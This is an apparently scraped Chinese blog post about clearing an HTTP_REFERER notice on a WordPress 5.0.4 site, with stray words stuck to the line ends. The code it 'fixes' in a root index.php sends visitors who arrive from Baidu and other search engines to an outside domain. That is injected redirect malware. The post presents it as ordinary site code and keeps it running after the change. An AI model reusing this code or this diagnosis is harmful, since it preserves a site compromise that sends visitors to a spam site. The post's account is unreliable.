wordpress5.0+中 Notice: Undefined index: HTTP_REFERER 問題解決

都說如今搭網站很簡單了,但真遇到問題了還真不必定能解決。php

此次搭建的網站是用的wordpress版本5.0.4,覺得操做和之前的低版本同樣,結果作出來仍是遇到問題了。html

網站搭好後,首頁總在頂端出現一行ide

Notice: Undefined index: HTTP_REFERER in index.php line 14wordpress

點擊了其餘頁面後Notice消失網站

網上有關於這種狀況的解決辦法 http://www.manongjc.com/article/1114.htmlspa

 

可是
1. 用方法一、3(即關閉報錯)都沒用,沒法消除.net

2. themes中index.php中並無發現HTTP_REFERER,亦沒法用方法2code

3. 這個notice直接影響了頁面一處圖片的垂直居中效果,只有點擊了其餘頁面後纔會垂直居中htm

 

綜合來看blog

1. 只能放棄一、3的方法

2. 定位具體位置

 

在定位具體位置中:

1.猜想可能和wp_header(),wp_footer()的相關引入有關,依次刪除無果

2.切換到wordpress自帶twentyseventeen、twentysixteen主題依然有,能夠判斷跟本身寫的無關,是系統的問題。

3.猜想可能跟phpstudy有關,準備從新裝phpstudy,也猜想可能和wordpress版本有關,可是以爲不太可能

在網上各類翻的過程當中,發現了這篇帖子https://bbs.csdn.net/topics/391817077?page=1

其中提到了config文件,因而翻看config並無HTTP_REFERER,

可是在一樣的文件夾中發現了另外一個index.php

由於報錯是在index.php中,因而點開一看

HTTP_REFERER赫然出如今第14行,因而按照方法2進行修改

if(isset($_SERVER['HTTP_REFERER'])){
    $httpuser=strtolower($_SERVER['HTTP_REFERER']);
  if(strstr($httpuser,'tiandao') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider'))
  {
      Header("Location: http://a8qqq.com/");//Ö¸¶¨Ìøת
      exit; 
    }
}

修改後,網站恢復正常!

相關文章
相關標籤/搜索